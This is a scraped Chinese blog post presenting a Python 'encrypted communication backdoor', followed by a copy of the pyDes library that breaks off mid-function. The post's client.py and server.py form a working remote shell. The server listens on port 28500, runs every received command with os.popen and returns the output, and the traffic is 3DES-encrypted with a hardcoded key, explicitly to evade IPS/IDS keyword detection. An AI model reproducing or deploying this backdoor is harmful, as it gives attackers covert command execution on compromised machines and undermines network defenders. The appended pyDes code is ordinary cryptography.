python加密通讯后门

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加密通讯内容过一些检测数据包匹配关键字的ips和ids还是可以的,简单的demo 

client.py 

# client   

import socket 

import time 

import binascii 

import base64 

import pyDes 

import sys 

#use des 

iv = '2132435465768797' 

key = 'aa000000000000000000000002200000000000aa0000000d' 

#data = "afuckfucdfadf" 

#des 



def encrypt(iv, key, data): 

    iv = binascii.unhexlify(iv) 

    key = binascii.unhexlify(key) 

    k = pyDes.triple_des(key, pyDes.CBC, iv, pad=None, padmode=pyDes.PAD_PKCS5) 

    d = k.encrypt(data) 

    d = base64.encodestring(d) 

    return d 



def decrypt(iv, key, data): 

    iv = binascii.unhexlify(iv) 

    key = binascii.unhexlify(key) 

    k = pyDes.triple_des(key, pyDes.CBC, iv, pad=None, padmode=pyDes.PAD_PKCS5) 

    data = base64.decodestring(data) 

    d = k.decrypt(data) 

    return d 

if __name__ == '__main__': 

  print sys.argv[1]+sys.argv[2] 

  print 'client.py ip port' 

  address = (sys.argv[1], int(sys.argv[2])) 

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   

  s.connect(address)   

  data =decrypt(iv,key,s.recv(512)) 

  print data 

  while True: 

    commond=raw_input()     

    s.send(encrypt(iv,key,commond)) 

    time.sleep(1) 

    if(commond=='q'): 

      exit() 



    data = decrypt(iv,key,s.recv(9999)) 

    print data.rstrip('\n') 



  s.close()


#p#分页标题#e#server.py 



# server   

import socket 

import subprocess 

import os 

import time 

import binascii 

import base64 

import pyDes 





##use des 

iv = '2132435465768797' 

key = 'aa000000000000000000000002200000000000aa0000000d' 

#data = "aaaaaaaaaaaaaaaaaa" 

##use des 

def encrypt(iv, key, data): 

    iv = binascii.unhexlify(iv) 

    key = binascii.unhexlify(key) 

    k = pyDes.triple_des(key, pyDes.CBC, iv, pad=None, padmode=pyDes.PAD_PKCS5) 

    d = k.encrypt(data) 

    d = base64.encodestring(d) 

    return d 



def decrypt(iv, key, data): 

    iv = binascii.unhexlify(iv) 

    key = binascii.unhexlify(key) 

    k = pyDes.triple_des(key, pyDes.CBC, iv, pad=None, padmode=pyDes.PAD_PKCS5) 

    data = base64.decodestring(data) 

    d = k.decrypt(data) 

    return d 

banner="by  \r\n" 

address = ('0.0.0.0', 28500)   

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # s = socket.socket()   

s.bind(address)   

s.listen(5) 

ss, addr = s.accept() 

def cmd(data,pwds): 

    if "q" == data.lower(): 

        s.close() 

        #break; 

        exit(1) 

    else: 

        if data.startswith('cd'): 

            print '2 pwd is'+pwds 

            str=pwds+data[3:].replace('\n','') 

            print 'str is '+str 



            os.chdir(str) 

            pwds=os.getcwd() #p#分页标题#e#

            result=['',pwds] 

        else: 

            r=os.popen(data).read() 

            result=[r,pwds] 

    return result 

     





def main(): 

    pwds=os.getcwd() 

    ss.send(encrypt(iv,key,banner+'\r\npath is '+pwds)) 

    while  True: 

        ra =decrypt(iv,key,ss.recv(512)) 

        [r,pwds]=cmd(ra,pwds) 

        ss.send(encrypt(iv,key,r+pwds)) 



         

       

    ss.close() 

    s.close()   



if   __name__  ==  "__main__": 

       

       main()


用的是这个库http://twhiteman.netfirms.com/des.html 



pyDes.py 

############################################################################# 

#         Documentation            # 

############################################################################# 



# Author:   Todd Whiteman 

# Date:     16th March, 2009 

# Verion:   2.0.0 

# License:  Public Domain - free to do as you wish 

# Homepage: http://twhiteman.netfirms.com/des.html 



# This is a pure python implementation of the DES encryption algorithm. 

# It's pure python to avoid portability issues, since most DES 

# implementations are programmed in C (for performance reasons). 



# Triple DES class is also implemented, utilising the DES base. Triple DES 

# is either DES-EDE3 with a 24 byte key, or DES-EDE2 with a 16 byte key. #p#分页标题#e#



# See the README.txt that should come with this python module for the 

# implementation methods used. 



# Thanks to: 

#  * David Broadwell for ideas, comments and suggestions. 

#  * Mario Wolff for pointing out and debugging some triple des CBC errors. 

#  * Santiago Palladino for providing the PKCS5 padding technique. 

#  * Shaya for correcting the PAD_PKCS5 triple des CBC errors. 



"""A pure python implementation of the DES and TRIPLE DES encryption algorithms. 



Class initialization 

-------------------- 

pyDes.des(key, [mode], [IV], [pad], [padmode]) 

pyDes.triple_des(key, [mode], [IV], [pad], [padmode]) 



key     -> Bytes containing the encryption key. 8 bytes for DES, 16 or 24 bytes 

     for Triple DES 

mode    -> Optional argument for encryption type, can be either 

     pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining) 

IV      -> Optional Initial Value bytes, must be supplied if using CBC mode. 

     Length must be 8 bytes. 

pad     -> Optional argument, set the pad character (PAD_NORMAL) to use during 

     all encrypt/decrpt operations done with this instance. 

padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5) 

     to use during all encrypt/decrpt operations done with this instance. 



I recommend to use PAD_PKCS5 padding, as then you never need to worry about any 

padding issues, as the padding can be removed unambiguously upon decrypting 

data that was encrypted using PAD_PKCS5 padmode. 



Common methods 

-------------- 

encrypt(data, [pad], [padmode]) 

decrypt(data, [pad], [padmode]) 



data    -> Bytes to be encrypted/decrypted 

pad     -> Optional argument. Only when using padmode of PAD_NORMAL. For 

     encryption, adds this characters to the end of the data block when 

     data is not a multiple of 8 bytes. For decryption, will remove the 

     trailing characters that match this pad character from the last 8 

     bytes of the unencrypted data block. 

padmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL 

     or PAD_PKCS5). Defaults to PAD_NORMAL. 

     



Example 

------- 

from pyDes import * 



data = "Please encrypt my data" 

k = des("DESCRYPT", CBC, "\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5) #p#分页标题#e#

# For Python3, you'll need to use bytes, i.e.: 

#   data = b"Please encrypt my data" 

#   k = des(b"DESCRYPT", CBC, b"\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5) 

d = k.encrypt(data) 

print "Encrypted: %r" % d 

print "Decrypted: %r" % k.decrypt(d) 

assert k.decrypt(d, padmode=PAD_PKCS5) == data 





See the module source (pyDes.py) for more examples of use. 

You can also run the pyDes.py file without and arguments to see a simple test. 



Note: This code was not written for high-end systems needing a fast 

      implementation, but rather a handy portable solution with small usage. 



""" 



import sys 



# _pythonMajorVersion is used to handle Python2 and Python3 differences. 

_pythonMajorVersion = sys.version_info[0] 



# Modes of crypting / cyphering 

ECB =  0 

CBC =  1 



# Modes of padding 

PAD_NORMAL = 1 

PAD_PKCS5 = 2 



# PAD_PKCS5: is a method that will unambiguously remove all padding 

#            characters after decryption, when originally encrypted with 

#            this padding mode. 

# For a good description of the PKCS5 padding technique, see: 

# http://www.faqs.org/rfcs/rfc1423.html 



# The base class shared by des and triple des. 

class _baseDes(object): 

  def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): 

    if IV: 

      IV = self._guardAgainstUnicode(IV) 

    if pad: 

      pad = self._guardAgainstUnicode(pad) 

    self.block_size = 8 

    # Sanity checking of arguments. 

    if pad and padmode == PAD_PKCS5: 

      raise ValueError("Cannot use a pad character with PAD_PKCS5") 

    if IV and len(IV) != self.block_size: 

      raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") 



    # Set the passed in variables 

    self._mode = mode 

    self._iv = IV 

    self._padding = pad 

    self._padmode = padmode 



  def getKey(self): 

    """getKey() -> bytes""" #p#分页标题#e#

    return self.__key 



  def setKey(self, key): 

    """Will set the crypting key for this object.""" 

    key = self._guardAgainstUnicode(key) 

    self.__key = key 



  def getMode(self): 

    """getMode() -> pyDes.ECB or pyDes.CBC""" 

    return self._mode 



  def setMode(self, mode): 

    """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" 

    self._mode = mode 



  def getPadding(self): 

    """getPadding() -> bytes of length 1. Padding character.""" 

    return self._padding 



  def setPadding(self, pad): 

    """setPadding() -> bytes of length 1. Padding character.""" 

    if pad is not None: 

      pad = self._guardAgainstUnicode(pad) 

    self._padding = pad 



  def getPadMode(self): 

    """getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" 

    return self._padmode 

     

  def setPadMode(self, mode): 

    """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" 

    self._padmode = mode 



  def getIV(self): 

    """getIV() -> bytes""" 

    return self._iv 



  def setIV(self, IV): 

    """Will set the Initial Value, used in conjunction with CBC mode""" 

    if not IV or len(IV) != self.block_size: 

      raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") 

    IV = self._guardAgainstUnicode(IV) 

    self._iv = IV 



  def _padData(self, data, pad, padmode): 

    # Pad data depending on the mode 

    if padmode is None: 

      # Get the default padding mode. 

      padmode = self.getPadMode() 

    if pad and padmode == PAD_PKCS5: 

      raise ValueError("Cannot use a pad character with PAD_PKCS5") 



    if padmode == PAD_NORMAL: #p#分页标题#e#

      if len(data) % self.block_size == 0: 

        # No padding required. 

        return data 



      if not pad: 

        # Get the default padding. 

        pad = self.getPadding() 

      if not pad: 

        raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.") 

      data += (self.block_size - (len(data) % self.block_size)) * pad 

     

    elif padmode == PAD_PKCS5: 

      pad_len = 8 - (len(data) % self.block_size) 

      if _pythonMajorVersion < 3: 

        data += pad_len * chr(pad_len) 

      else: 

        data += bytes([pad_len] * pad_len) 



    return data 



  def _unpadData(self, data, pad, padmode): 

    # Unpad data depending on the mode. 

    if not data: 

      return data 

    if pad and padmode == PAD_PKCS5: 

      raise ValueError("Cannot use a pad character with PAD_PKCS5") 

    if padmode is None: 

      # Get the default padding mode. 

      padmode = self.getPadMode() 



    if padmode == PAD_NORMAL: 

      if not pad: 

        # Get the default padding. 

        pad = self.getPadding() 

      if pad: 

        data = data[:-self.block_size] + \ 

               data[-self.block_size:].rstrip(pad) 



    elif padmode == PAD_PKCS5: 

      if _pythonMajorVersion < 3: 

        pad_len = ord(data[-1]) 

      else: 

        pad_len = data[-1] 

      data = data[:-pad_len] 



    return data 



  def _guardAgainstUnicode(self, data): 

    # Only accept byte strings or ascii unicode values, otherwise 

    # there is no way to correctly decode the data into bytes. #p#分页标题#e#

    if _pythonMajorVersion < 3: 

      if isinstance(data, unicode): 

        raise ValueError("pyDes can only work with bytes, not Unicode strings.") 

    else: 

      if isinstance(data, str): 

        # Only accept ascii unicode values. 

        try: 

          return data.encode('ascii') 

        except UnicodeEncodeError: 

          pass 

        raise ValueError("pyDes can only work with encoded strings, not Unicode.") 

    return data 



############################################################################# 

#             DES              # 

############################################################################# 

class des(_baseDes): 

  """DES encryption/decrytpion class 



  Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. 



  pyDes.des(key,[mode], [IV]) 



  key  -> Bytes containing the encryption key, must be exactly 8 bytes 

  mode -> Optional argument for encryption type, can be either pyDes.ECB 

    (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) 

  IV   -> Optional Initial Value bytes, must be supplied if using CBC mode. 

    Must be 8 bytes in length. 

  pad  -> Optional argument, set the pad character (PAD_NORMAL) to use 

    during all encrypt/decrpt operations done with this instance. 

  padmode -> Optional argument, set the padding mode (PAD_NORMAL or 

    PAD_PKCS5) to use during all encrypt/decrpt operations done 

    with this instance. 

  """ 





  # Permutation and translation tables for DES 

  __pc1 = [56, 48, 40, 32, 24, 16,  8, 

      0, 57, 49, 41, 33, 25, 17, 

      9,  1, 58, 50, 42, 34, 26, 

     18, 10,  2, 59, 51, 43, 35, 

     62, 54, 46, 38, 30, 22, 14, 

      6, 61, 53, 45, 37, 29, 21, 

     13,  5, 60, 52, 44, 36, 28, 

     20, 12,  4, 27, 19, 11,  3 

  ] 



  # number left rotations of pc1 #p#分页标题#e#

  __left_rotations = [ 

    1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1 

  ] 



  # permuted choice key (table 2) 

  __pc2 = [ 

    13, 16, 10, 23,  0,  4, 

     2, 27, 14,  5, 20,  9, 

    22, 18, 11,  3, 25,  7, 

    15,  6, 26, 19, 12,  1, 

    40, 51, 30, 36, 46, 54, 

    29, 39, 50, 44, 32, 47, 

    43, 48, 38, 55, 33, 52, 

    45, 41, 49, 35, 28, 31 

  ] 



  # initial permutation IP 

  __ip = [57, 49, 41, 33, 25, 17, 9,  1, 

    59, 51, 43, 35, 27, 19, 11, 3, 

    61, 53, 45, 37, 29, 21, 13, 5, 

    63, 55, 47, 39, 31, 23, 15, 7, 

    56, 48, 40, 32, 24, 16, 8,  0, 

    58, 50, 42, 34, 26, 18, 10, 2, 

    60, 52, 44, 36, 28, 20, 12, 4, 

    62, 54, 46, 38, 30, 22, 14, 6 

  ] 



  # Expansion table for turning 32 bit blocks into 48 bits 

  __expansion_table = [ 

    31,  0,  1,  2,  3,  4, 

     3,  4,  5,  6,  7,  8, 

     7,  8,  9, 10, 11, 12, 

    11, 12, 13, 14, 15, 16, 

    15, 16, 17, 18, 19, 20, 

    19, 20, 21, 22, 23, 24, 

    23, 24, 25, 26, 27, 28, 

    27, 28, 29, 30, 31,  0 

  ] 



  # The (in)famous S-boxes 

  __sbox = [ 

    # S1 

    [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, 

     0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8, 

     4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, 

     15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13], 



    # S2 

    [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, 

     3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, 

     0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, 

     13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9], 



    # S3 #p#分页标题#e#

    [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8, 

     13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1, 

     13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7, 

     1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12], 



    # S4 

    [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15, 

     13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9, 

     10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4, 

     3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14], 



    # S5 

    [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9, 

     14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6, 

     4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14, 

     11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3], 



    # S6 

    [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11, 

     10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8, 

     9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6, 

     4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13], 



    # S7 

    [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1, 

     13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6, 

     1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, 

     6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12], 



    # S8 

    [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, 

     1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, 

     7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, 

     2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11], 

  ] 





  # 32-bit permutation function P used on the output of the S-boxes 

  __p = [ 

    15, 6, 19, 20, 28, 11, 

    27, 16, 0, 14, 22, 25, 

    4, 17, 30, 9, 1, 7, 

    23,13, 31, 26, 2, 8, 

    18, 12, 29, 5, 21, 10, 

    3, 24 

  ] 



  # final permutation IP^-1 

  __fp = [ 

    39,  7, 47, 15, 55, 23, 63, 31, 

    38,  6, 46, 14, 54, 22, 62, 30, 

    37,  5, 45, 13, 53, 21, 61, 29, #p#分页标题#e#

    36,  4, 44, 12, 52, 20, 60, 28, 

    35,  3, 43, 11, 51, 19, 59, 27, 

    34,  2, 42, 10, 50, 18, 58, 26, 

    33,  1, 41,  9, 49, 17, 57, 25, 

    32,  0, 40,  8, 48, 16, 56, 24 

  ] 



  # Type of crypting being done 

  ENCRYPT =  0x00 

  DECRYPT =  0x01 



  # Initialisation 

  def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): 

    # Sanity checking of arguments. 

    if len(key) != 8: 

      raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.") 

    _baseDes.__init__(self, mode, IV, pad, padmode) 

    self.key_size = 8 



    self.L = [] 

    self.R = [] 

    self.Kn = [ [0] * 48 ] * 16  # 16 48-bit keys (K1 - K16) 

    self.final = [] 



    self.setKey(key) 



  def setKey(self, key): 

    """Will set the crypting key for this object. Must be 8 bytes.""" 

    _baseDes.setKey(self, key) 

    self.__create_sub_keys() 



  def __String_to_BitList(self, data): 

    """Turn the string data, into a list of bits (1, 0)'s""" 

    if _pythonMajorVersion < 3: 

      # Turn the strings into integers. Python 3 uses a bytes 

      # class, which already has this behaviour. 

      data = [ord(c) for c in data] 

    l = len(data) * 8 

    result = [0] * l 

    pos = 0 

    for ch in data: 

      i = 7 

      while i >= 0: 

        if ch & (1 << i) != 0: 

          result[pos] = 1 

        else: 

          result[pos] = 0 

        pos += 1 

        i -= 1 



    return result 



  def __BitList_to_String(self, data): #p#分页标题#e#

    """Turn the list of bits -> data, into a string""" 

    result = [] 

    pos = 0 

    c = 0 

    while pos < len(data): 

      c += data[pos] << (7 - (pos % 8)) 

      if (pos % 8) == 7: 

        result.append(c) 

        c = 0 

      pos += 1 



    if _pythonMajorVersion < 3: 

      return ''.join([ chr(c) for c in result ]) 

    else: 

      return bytes(result) 



  def __permutate(self, table, block): 

    """Permutate this block with the specified table""" 

    return list(map(lambda x: block[x], table)) 

   

  # Transform the secret key, so that it is ready for data processing 

  # Create the 16 subkeys, K[1] - K[16] 

  def __create_sub_keys(self): 

    """Create the 16 subkeys K[1] to K[16] from the given key""" 

    key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey())) 

    i = 0 

    # Split into Left and Right sections 

    self.L = key[:28] 

    self.R = key[28:] 

    while i < 16: 

      j = 0 

      # Perform circular left shifts 

      while j < des.__left_rotations[i]: 

        self.L.append(self.L[0]) 

        del self.L[0] 



        self.R.append(self.R[0]) 

        del self.R[0] 



        j += 1 



      # Create one of the 16 subkeys through pc2 permutation 

      self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R) 



      i += 1 



  # Main part of the encryption algorithm, the number cruncher :) 

  def __des_crypt(self, block, crypt_type): 

    """Crypt the block of data through DES bit-manipulation""" 

    block = self.__permutate(des.__ip, block) 

    self.L = block[:32] 

    self.R = block[32:] #p#分页标题#e#



    # Encryption starts from Kn[1] through to Kn[16] 

    if crypt_type == des.ENCRYPT: 

      iteration = 0 

      iteration_adjustment = 1 

    # Decryption starts from Kn[16] down to Kn[1] 

    else: 

      iteration = 15 

      iteration_adjustment = -1 



    i = 0 

    while i < 16: 

      # Make a copy of R[i-1], this will later become L[i] 

      tempR = self.R[:] 



      # Permutate R[i - 1] to start creating R[i] 

      self.R = self.__permutate(des.__expansion_table, self.R) 



      # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here 

      self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration])) 

      B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]] 

      # Optimization: Replaced below commented code with above 

      #j = 0 

      #B = [] 

      #while j < len(self.R): 

      #  self.R[j] = self.R[j] ^ self.Kn[iteration][j] 

      #  j += 1 

      #  if j % 6 == 0: 

      #    B.append(self.R[j-6:j]) 



      # Permutate B[1] to B[8] using the S-Boxes 

      j = 0 

      Bn = [0] * 32 

      pos = 0 

      while j < 8: 

        # Work out the offsets 

        m = (B[j][0] << 1) + B[j][5] 

        n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4] 



        # Find the permutation value 

        v = des.__sbox[j][(m << 4) + n] 



        # Turn value into bits, add it to result: Bn 

        Bn[pos] = (v & 8) >> 3 

        Bn[pos + 1] = (v & 4) >> 2 

        Bn[pos + 2] = (v & 2) >> 1 

        Bn[pos + 3] = v & 1 

#p#分页标题#e#

        pos += 4 

        j += 1 



      # Permutate the concatination of B[1] to B[8] (Bn) 

      self.R = self.__permutate(des.__p, Bn) 



      # Xor with L[i - 1] 

      self.R = list(map(lambda x, y: x ^ y, self.R, self.L)) 

      # Optimization: This now replaces the below commented code 

      #j = 0 

      #while j < len(self.R): 

      #  self.R[j] = self.R[j] ^ self.L[j] 

      #  j += 1 



      # L[i] becomes R[i - 1] 

      self.L = tempR 



      i += 1 

      iteration += iteration_adjustment 

     

    # Final permutation of R[16]L[16] 

    self.final = self.__permutate(des.__fp, self.R + self.L) 

    return self.final 





  # Data to be encrypted/decrypted 

  def crypt(self, data, crypt_type): 

    """Crypt the data in blocks, running it through des_crypt()""" 



    # Error check the data 

    if not data: 

      return '' 

    if len(data) % self.block_size != 0: 

      if crypt_type == des.DECRYPT: # Decryption must work on 8 byte blocks 

        raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.") 

      if not self.getPadding(): 

        raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n. Try setting the optional padding character") 

      else: 

        data += (self.block_size - (len(data) % self.block_size)) * self.getPadding() 

      # print "Len of data: %f" % (len(data) / self.block_size) 



    if self.getMode() == CBC: 

      if self.getIV(): 

        iv = self.__String_to_BitList(self.getIV()) 

      else: 

        raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering") 



    # Split the data into blocks, crypting each one seperately #p#分页标题#e#

    i = 0 

    dict = {} 

    result = [] 

    #cached = 0 

    #lines = 0 

    while i < len(data): 

      # Test code for caching encryption results 

      #lines += 1 

      #if dict.has_key(data[i:i+8]): 

        #print "Cached result for: %s" % data[i:i+8] 

      #  cached += 1 

      #  result.append(dict[data[i:i+8]]) 

      #  i += 8 

      #  continue 

         

      block = self.__String_to_BitList(data[i:i+8]) 



      # Xor with IV if using CBC mode 

      if self.getMode() == CBC: 

        if crypt_type == des.ENCRYPT: 

          block = list(map(lambda x, y: x ^ y, block, iv)) 

          #j = 0 

          #while j < len(block): 

          #  block[j] = block[j] ^ iv[j] 

          #  j += 1 



        processed_block = self.__des_crypt(block, crypt_type) 



        if crypt_type == des.DECRYPT: 

          processed_block = list(map(lambda x, y: x ^ y, processed_block, iv)) 

          #j = 0 

          #while j < len(processed_block): 

          #  processed_block[j] = processed_block[j] ^ iv[j] 

          #  j += 1 

          iv = block 

        else: 

          iv = processed_block 

      else: 

        processed_block = self.__des_crypt(block, crypt_type) 





      # Add the resulting crypted block to our list 

      #d = self.__BitList_to_String(processed_block) 

      #result.append(d) 

      result.append(self.__BitList_to_String(processed_block)) 

      #dict[data[i:i+8]] = d #p#分页标题#e#

      i += 8 



    # print "Lines: %d, cached: %d" % (lines, cached) 



    # Return the full crypted string 

    if _pythonMajorVersion < 3: 

      return ''.join(result) 

    else: 

      return bytes.fromhex('').join(result) 



  def encrypt(self, data, pad=None, padmode=None): 

    """encrypt(data, [pad], [padmode]) -> bytes 



    data : Bytes to be encrypted 

    pad  : Optional argument for encryption padding. Must only be one byte 

    padmode : Optional argument for overriding the padding mode. 



    The data must be a multiple of 8 bytes and will be encrypted 

    with the already specified key. Data does not have to be a 

    multiple of 8 bytes if the padding character is supplied, or 

    the padmode is set to PAD_PKCS5, as bytes will then added to 

    ensure the be padded data is a multiple of 8 bytes. 

    """ 

    data = self._guardAgainstUnicode(data) 

    if pad is not None: 

      pad = self._guardAgainstUnicode(pad) 

    data = self._padData(data, pad, padmode) 

    return self.crypt(data, des.ENCRYPT) 



  def decrypt(self, data, pad=None, padmode=None): 

    """decrypt(data, [pad], [padmode]) -> bytes 



    data : Bytes to be encrypted 

    pad  : Optional argument for decryption padding. Must only be one byte 

    padmode : Optional argument for overriding the padding mode. 



    The data must be a multiple of 8 bytes and will be decrypted 

    with the already specified key. In PAD_NORMAL mode, if the 

    optional padding character is supplied, then the un-encrypted 

    data will have the padding characters removed from the end of 

    the bytes. This pad removal only occurs on the last 8 bytes of 

    the data (last data block). In PAD_PKCS5 mode, the special 

    padding end markers will be removed from the data after decrypting. 

    """ 

    data = self._guardAgainstUnicode(data) 

    if pad is not None: 

      pad = self._guardAgainstUnicode(pad) 

    data = self.crypt(data, des.DECRYPT) 

    return self._unpadData(data, pad, padmode) #p#分页标题#e#







############################################################################# 

#         Triple DES            # 

############################################################################# 

class triple_des(_baseDes): 

  """Triple DES encryption/decrytpion class 



  This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or 

  the DES-EDE2 (when a 16 byte key is supplied) encryption methods. 

  Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. 



  pyDes.des(key, [mode], [IV]) 



  key  -> Bytes containing the encryption key, must be either 16 or 

          24 bytes long 

  mode -> Optional argument for encryption type, can be either pyDes.ECB 

    (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) 

  IV   -> Optional Initial Value bytes, must be supplied if using CBC mode. 

    Must be 8 bytes in length. 

  pad  -> Optional argument, set the pad character (PAD_NORMAL) to use 

    during all encrypt/decrpt operations done with this instance. 

  padmode -> Optional argument, set the padding mode (PAD_NORMAL or 

    PAD_PKCS5) to use during all encrypt/decrpt operations done 

    with this instance. 

  """ 

  def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): 

    _baseDes.__init__(self, mode, IV, pad, padmode) 

    self.setKey(key) 



  def setKey(self, key): 

    """Will set the crypting key for this object. Either 16 or 24 bytes long.""" 

    self.key_size = 24  # Use DES-EDE3 mode 

    if len(key) != self.key_size: 

      if len(key) == 16: # Use DES-EDE2 mode 

        self.key_size = 16 

      else: 

        raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long") 

    if self.getMode() == CBC: 

      if not self.getIV(): 

        # Use the first 8 bytes of the key 

        self._iv = key[:self.block_size] 

      if len(self.getIV()) != self.block_size: 

        raise ValueError("Invalid IV, must be 8 bytes in length") 

    self.__key1 = des(key[:8], self._mode, self._iv, 

          self._padding, self._padmode) #p#分页标题#e#

    self.__key2 = des(key[8:16], self._mode, self._iv, 

          self._padding, self._padmode) 

    if self.key_size == 16: 

      self.__key3 = self.__key1 

    else: 

      self.__key3 = des(key[16:], self._mode, self._iv, 

            self._padding, self._padmode) 

    _baseDes.setKey(self, key) 



  # Override setter methods to work on all 3 keys. 



  def setMode(self, mode): 

    """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" 

    _baseDes.setMode(self, mode) 

    for key in (self.__key1, self.__key2, self.__key3): 

      key.setMode(mode) 



  def setPadding(self, pad): 

    """setPadding() -> bytes of length 1. Padding character.""" 

    _baseDes.setPadding(self, pad) 

    for key in (self.__key1, self.__key2, self.__key3): 

      key.setPadding(pad) 



  def setPadMode(self, mode): 

    """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" 

    _baseDes.setPadMode(self, mode) 

    for key in (self.__key1, self.__key2, self.__key3): 

      key.setPadMode(mode) 



  def setIV(self, IV): 

    """Will set the Initial Value, used in conjunction with CBC mode""" 

    _baseDes.setIV(self, IV) 

    for key in (self.__key1, self.__key2, self.__key3): 

      key.setIV(IV) 



  def encrypt(self, data, pad=None, padmode=None): 

    """encrypt(data, [pad], [padmode]) -> bytes 



    data : bytes to be encrypted 

    pad  : Optional argument for encryption padding. Must only be one byte 

    padmode : Optional argument for overriding the padding mode. 



    The data must be a multiple of 8 bytes and will be encrypted 

    with the already specified key. Data does not have to be a 

    multiple of 8 bytes if the padding character is supplied, or 

    the padmode is set to PAD_PKCS5, as bytes will then added to 

    ensure the be padded data is a multiple of 8 bytes. 

    """ 

    ENCRYPT = des.ENCRYPT #p#分页标题#e#

    DECRYPT = des.DECRYPT 

    data = self._guardAgainstUnicode(data) 

    if pad is not None: 

      pad = self._guardAgainstUnicode(pad) 

    # Pad the data accordingly. 

    data = self._padData(data, pad, padmode) 

    if self.getMode() == CBC: 

      self.__key1.setIV(self.getIV()) 

      self.__key2.setIV(self.getIV()) 

      self.__key3.setIV(self.getIV()) 

      i = 0 

      result = [] 

      while i < len(data): 

        block = self.__key1.crypt(data[i:i+8], ENCRYPT) 

        block = self.__key2.crypt(block, DECRYPT) 

        block = self.__key3.crypt(block, ENCRYPT) 

        self.__key1.setIV(block) 

        self.__key2.setIV(block) 

        self.__key3.setIV(block) 

        result.append(block) 

        i += 8 

      if _pythonMajorVersion < 3: 

        return ''.join(result) 

      else: 

        return bytes.fromhex('').join(result) 

    else: 

